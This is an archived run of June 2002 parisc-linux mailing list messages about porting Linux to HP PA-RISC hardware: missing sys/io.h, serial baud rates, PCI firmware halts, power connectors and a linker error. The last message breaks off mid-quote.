Subject: Re: [parisc-linux] sys/io.h
Date: Mon, 24 Jun 2002 08:39:59 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020624153959.GH812@tausq.org>
References: <20020624150031.4DA034837@dsl2.external.hp.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621431 9325 80.91.229.3 (22 Nov 2014 01:57:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 09:36:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDD314841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 09:36:53 -0600 (MDT)
Original-Received: (qmail 11968 invoked from network); 24 Jun 2002 15:36:52 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <grundler@dsl2.external.hp.com>; 24 Jun 2002 15:36:52 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8A1B2CDA2C; Mon, 24 Jun 2002 08:39:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020624150031.4DA034837@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15208

> I'm trying to build tulip-diag.c from scyld.com and am getting the
> following error msg:
> gsyprf11:~# gcc -O tulip-diag.c -o tulip-diag
> tulip-diag.c:58:20: sys/io.h: No such file or directory
> tulip-diag.c:1347:24: warning: multi-line string literals are deprecated
> 
> On ia64, sys/io.h comes from
> gsyprf3:~# dpkg -S sys/io.h
> libc6.1-dev: /usr/include/sys/io.h
> 
> But we don't have the equivalent for parisc (hppa).
> Ideas?

ISTR this has to do with the fact that we do not want to/cannot expose 
the {in,out}[bwl] primitives to userspace. Is the tulip-diag program
trying to write to port space directly?

FWIW we have the same problems with things like sane. 

ia64 seems to have some wrappers in glibc to do port io....

randolph



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 questions
Date: Mon, 24 Jun 2002 13:22:59 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20020624192259.306D5483B@dsl2.external.hp.com>
References: <20020624080059.GA31627@maybe.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621431 9329 80.91.229.3 (22 Nov 2014 01:57:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Jantzen <chris-parisc@maybe.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 13:22:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 306D5483B; Mon, 24 Jun 2002 13:22:59 -0600 (MDT)
In-Reply-To: Message from Chris Jantzen <chris-parisc@maybe.net> 
   of "Mon, 24 Jun 2002 01:00:59 PDT." <20020624080059.GA31627@maybe.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15209

Chris Jantzen wrote:
> When I insert a PCI card, I get the dreaded firmware halt. The serial number
> on this box is low enough that it could have PCI bugs that I've read about
> on the net. Is this still repairable?

theoretically, yes.

> Can it be worked around in software/firmware?

Definitely not.

> (Firmware 5.2, FWIW) I'm assuming that not only is the original
> warranty long expired, that it wouldn't have transferred anyways. I have
> a request in to HP support, I was just curious if this has been
> encountered by anyone here before/recently.

Yes.

> ...and I fear
> HP may reject my request for support based on not running HP-UX.

I don't think the HW support groups care unless they need to run
diags or something. In this case they don't.

grant



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert Boehm" <robertb@olsztyn.ken.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial on hp712/80 buggy?
Date: Tue, 25 Jun 2002 01:22:48 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <000001c21bd6$66eaa440$8501a8c0@pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621431 9330 80.91.229.3 (22 Nov 2014 01:57:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 16:18:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from olsztyn.ken.pl (unknown [212.244.122.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3EBA483B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 16:18:35 -0600 (MDT)
Original-Received: from h1 (pe113.olsztyn.sdi.tpnet.pl [213.76.233.113])
	by olsztyn.ken.pl (8.11.6/8.9.3) with SMTP id g5OMQCT05791
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 00:26:13 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15210

roh wrote:
[...]
>i just played around with my machine and stated that setting the baudrate
>on the serial(rs232) to 57600(8n1) didnt work...
>using 9600baud works ok
[...]

 I have na my 710 certain inconvenience with serial ports too.
In kernel-source the initial baud_base is 727272/16 = 454545.
It works up to 19200.

By many tests I can set baud_rate beetwen 46000 and 570000.
In this range serials works, ( with errors in ppp connection, but works up
to 115200).

In 710 parallel and two serials are in WDC 16C552 with external freq gen
7.3728 Mhz
div 16 (i suppose). It gives 460800.

Now, with correct baud_base 460800 minicom works up to 115200,
pppd works with errors at the same baudrate.

Still don't work serial mouse with gpm and serial driver in X.


                                                        Robert Boehm

What is baud_base on ttyS?  ?, You can test it by:
setserial -a /dev/ttyS?







From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] was: mail-man; should be hyper-mail
Date: Tue, 25 Jun 2002 13:49:17 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20020625134914.A1722@neep.com.au>
References: <03273D4BC7F4D511AC440008C7E6F881542343@nlntmail2b.ats.nld.alcatel.nl> <20020620133405.T9435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621431 9333 80.91.229.3 (22 Nov 2014 01:57:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 23:49:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1254482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 23:49:17 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA02156
	for parisc-linux@lists.parisc-linux.org; Tue, 25 Jun 2002 13:49:20 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020620133405.T9435@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Jun 20, 2002 at 01:34:05PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15211

Matthew Wilcox said:
> looks like out of date config.{sub,guess}.  as has been said elsewhere,
> the debian packages have been updated with these things, but maybe
> upstream hasn't.

Persons who feel the urge to build software locally rather than install
the lovely shiny Debian packages <plug /> would do well to at least
install the autotools-dev package.  Its purpose is to help developers
work around upstream sources that have out-of-date autoconf/libtool
helper files.

 autotools-dev: Update infrastructure for config.{guess,sub} files
 This package installs an up-to-date (from CVS) version of config.guess
 and config.sub, used by the automake and libtool packages.  It provides
 the canonical copy of those files for other packages as well.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "on on" <665544@wp.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 25 Jun 2002 13:59:02 +0200
Organization: Poczta Wirtualnej Polski S.A. http://www.wp.pl/
Lines: 24
Approved: news@gmane.org
Message-ID: <3d185b06d7cf2@wp.pl>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621432 9334 80.91.229.3 (22 Nov 2014 01:57:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 06:00:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.wp.pl (smtp.wp.pl [212.77.101.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA2DA482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 05:59:49 -0600 (MDT)
Original-Received: (WP-SMTPD 28976 invoked from network); 25 Jun 2002 11:59:02 -0000
Original-Received: from unknown (HELO localhost) ([212.77.101.203])
          (envelope-sender <665544@wp.pl>)
          by smtp1.free.wp-sa.pl (WP-SMTPD) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 25 Jun 2002 11:59:02 -0000
X-Mailer: Interfejs WWW poczty Wirtualnej Polski
X-IP: 212.109.130.1
X-AntiVirus: skaner antywirusowy poczty Wirtualnej Polski S. A.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15212

I've got HP9000 710 workstation without power supply. 
It's quite old machine, but I'd like set it up anyway. 
The problem is I've no idea how to connect any power supply to 
the motherboard  - I have not oryginal power supply. 
 
Anybody knows this standard - where's 12 V, where's 5V, GND etc. 
 
There are(on the motherboard) 2 connectors: 
first is 14 pins, second is 5 pins, and I suppose the bigger one 
is supply(maybe this small one is that too?).
The other question is for keyboard - what about using PS/2 
keyboard? 
 
Thanks a lot. 

onek 


-----------------------------------------------------------------------
Wirtualna Energia rodka lata... czyli V Spotkanie Przyjaci WP!
Ju 6 lipca na molo w Sopocie. Musisz tam by! < http://spotkanie.wp.pl >




From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eddantes@wanadoo.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] PCI hardware question
Date: Tue, 25 Jun 2002 16:54:41 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3D188431.1060804@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621432 9336 80.91.229.3 (22 Nov 2014 01:57:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 08:48:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mel-rto6.wanadoo.fr (smtp-out-6.wanadoo.fr [193.252.19.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08D21482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 08:48:20 -0600 (MDT)
Original-Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto6.wanadoo.fr (6.5.007)
        id 3D18683700016726 for parisc-linux@lists.parisc-linux.org; Tue, 25 Jun 2002 16:48:17 +0200
Original-Received: from wanadoo.fr (217.128.251.25) by mel-rta8.wanadoo.fr (6.5.007)
        id 3D11E54E0026F273 for parisc-linux@lists.parisc-linux.org; Tue, 25 Jun 2002 16:48:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15213

Hello list

I guess this is not the best place to ask, but I don't really know any 
other, so here is my question.

I'm planning to buy a second hand station at some point and have fun 
with Linux, but in the documentation process, I discovered some stations 
have problemw with PCI hardware.

The question is: which kind of PCI stuff is this? Regular, PC compatible 
cards, or HP specific?

If I remember correctly, various cards (PCI, ISA, AGP and so on) come 
with a firmware, that has to "match" the host computer. I know some OSes 
bypass this firmware and re-discover everything, others don't.

So the logical other way to ask the question is: is it possible to stick 
(fairly standard) ISA or PCI PC cards into an HP station and get them to 
work?

Relly sorry if this is a brain-dead question... :)


Thanks a lot
/Dantes




From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (no subject)
Date: Tue, 25 Jun 2002 16:50:51 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20020625145051.GW24903@lug-owl.de>
References: <3d185b06d7cf2@wp.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="S+p9DbwVuimCDe+R"
X-Trace: ger.gmane.org 1416621432 9338 80.91.229.3 (22 Nov 2014 01:57:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: on on <665544@wp.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 08:50:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC9B2483D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 08:50:53 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id A045E13407; Tue, 25 Jun 2002 16:50:51 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3d185b06d7cf2@wp.pl>
User-Agent: Mutt/1.3.28i
X-Operating-System: Linux mail 2.4.18 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15214

--S+p9DbwVuimCDe+R
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2002-06-25 13:59:02 +0200, on on <665544@wp.pl>
wrote in message <3d185b06d7cf2@wp.pl>:

Hi "on on" (your parents seem ru be quite rude, aren't they?)

> The other question is for keyboard - what about using PS/2=20
> keyboard?=20

That should be fine.

MfG, JBG

--=20
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	 -- New APT-Proxy written in shell script --
	   http://lug-owl.de/~jbglaw/software/ap2/

--S+p9DbwVuimCDe+R
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE9GINKHb1edYOZ4bsRApduAKCCuS73Drqy4f/07nd6reSuwP5figCeLCBQ
IHx748gFoBWzt2+0X43k5cw=
=Ot7t
-----END PGP SIGNATURE-----

--S+p9DbwVuimCDe+R--



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The compiler failed to link application, request for help
Date: Tue, 25 Jun 2002 12:04:58 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <3D1894AA.6020504@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621433 9340 80.91.229.3 (22 Nov 2014 01:57:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 10:05:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server1.neuronet.pitt.edu (server1.neuronet.pitt.edu [150.232.128.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id D48A44846
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 10:05:28 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (white.neuronet.pitt.edu [150.232.130.110])
	by server1.neuronet.pitt.edu (8.8.8/8.8.8) with ESMTP id MAA05621
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 12:06:00 -0400 (EDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020604
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15215

Hello,

In trying to compile a utility here, I end up with a linker error:

$ gcc -w -o pvmtalk pvmtalk.o dom_x.o usleep.o 
-L/home/neuro/contrib/pvm3.3.11/lib/LINUX -lpvm3 -lgpvm3 
-L/usr/X11R6/lib ../xvertext.5.0/libXrot.a -lX11 -lm
/home/neuro/contrib/pvm3.3.11/lib/LINUX/libpvm3.a(lpvm.o): In function 
`pvmbeatask':
lpvm.o(.text+0x29cf): the use of `tmpnam' is dangerous, better use `mkstemp'
/usr/bin/ld: can not size stub section: Bad value
/usr/bin/ld: BFD 2.12.90.0.1 20020307 Debian/GNU Linux internal error, 
aborting at ../../bfd/elf32-hppa.c line 4038 in elf32_hppa_relocate_section

/usr/bin/ld: Please report this bug.

collect2: ld returned 1 exit status

We have gcc 3.0.4. The sources compile with just some warnings.

Can someone offer any suggestion as to what this means and how we can 
solve it?

Thanks.
-- 
     Rafael




From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@trained-monkey.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sys/io.h
Date: 25 Jun 2002 12:18:31 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <m3fzzbmiw8.fsf@trained-monkey.org>
References: <20020624150031.4DA034837@dsl2.external.hp.com> <20020624153959.GH812@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621433 9343 80.91.229.3 (22 Nov 2014 01:57:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:13 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 10:18:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trained-monkey.org (trained-monkey.org [209.217.122.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1624D4848
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 10:18:35 -0600 (MDT)
Original-Received: (from jes@localhost)
	by trained-monkey.org (8.11.6/8.9.3) id g5PGIW307519;
	Tue, 25 Jun 2002 12:18:32 -0400
In-Reply-To: Randolph Chung's message of "Mon, 24 Jun 2002 08:39:59 -0700"
Original-Lines: 24
X-Mailer: Gnus v5.7/Emacs 20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15216

>>>>> "Randolph" == Randolph Chung <tausq@debian.org> writes:

>> I'm trying to build tulip-diag.c from scyld.com and am getting the
>> following error msg: gsyprf11:~# gcc -O tulip-diag.c -o tulip-diag
>> tulip-diag.c:58:20: sys/io.h: No such file or directory
